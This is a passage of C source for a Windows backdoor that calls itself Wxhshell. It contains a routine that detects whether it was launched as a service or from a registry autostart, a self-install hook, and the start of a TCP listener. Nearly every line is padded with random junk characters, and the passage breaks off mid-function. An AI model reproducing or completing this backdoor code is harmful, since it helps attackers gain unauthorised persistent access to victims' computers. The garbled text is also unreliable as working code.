DWORD AffinityMask; E/P53CD
DWORD BasePriority; r_sl~^* :
ULONG UniqueProcessId; 7^ {hn_%;
ULONG InheritedFromUniqueProcessId; #I~dv{RX
} PROCESS_BASIC_INFORMATION; PH%gX`N
WM
)g(i~(
PROCNTQSIP NtQueryInformationProcess; QR$sIu@%
:p)9Heu
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j?hyN@ns
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pz}hh^]t
tUF]f6
HANDLE hProcess; Zw
8b
-_
PROCESS_BASIC_INFORMATION pbi; bK%tQeT
KBHKcFk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /r@
if(NULL == hInst ) return 0; YgOgYo{E!
L=!kDU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5d{Ggg{s
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pcTXTy 28
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k#NMD4(%O
cD@lorj
if (!NtQueryInformationProcess) return 0; Y8'_5?+ 0
QjN3j*@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {&qsh9ob
if(!hProcess) return 0; L\CM);y
Ki;5 =)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <KPx0g?=b
rB|:r\Z(jG
CloseHandle(hProcess); -+@~*$
d
Awf=yE:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ms<u YLp
if(hProcess==NULL) return 0; ']e4!
Xtnmh)'K~#
HMODULE hMod; 'z!#E!i
char procName[255]; f|1FqL+T]
unsigned long cbNeeded; <f{`}drp/
Cy'W!qH
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <%uZwk>#
rWKLxK4oU
CloseHandle(hProcess); \1D,Kx;Cb
S%#Mu|
if(strstr(procName,"services")) return 1; // 以服务启动
VZ@@j[F(
NVZNQ{
return 0; // 注册表启动 1U9N8{xg9
} HTpd~W/\
48rYs}
// 主模块 D I[^H
int StartWxhshell(LPSTR lpCmdLine) ~M1%,]
{ 2]f.mq_PD
SOCKET wsl; 2+cicBD
BOOL val=TRUE; lS*.?4zX
int port=0; D ,^
U%<`
struct sockaddr_in door; \ jdO,-(
4tNgK[6M
if(wscfg.ws_autoins) Install(); 8@
gD03
*.Hnt\4|
port=atoi(lpCmdLine); ~x|Sv4M
c2:kZxT
if(port<=0) port=wscfg.ws_port; _tJURk%
qqred>K
WSADATA data; qZ1PC>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d0E5 ;3tQ
ED&KJnquWJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W\Y
4%y}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q`zR 6
door.sin_family = AF_INET; PP|xIAc
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $&
gidz/w
door.sin_port = htons(port); w`f~Ht{wYR
!&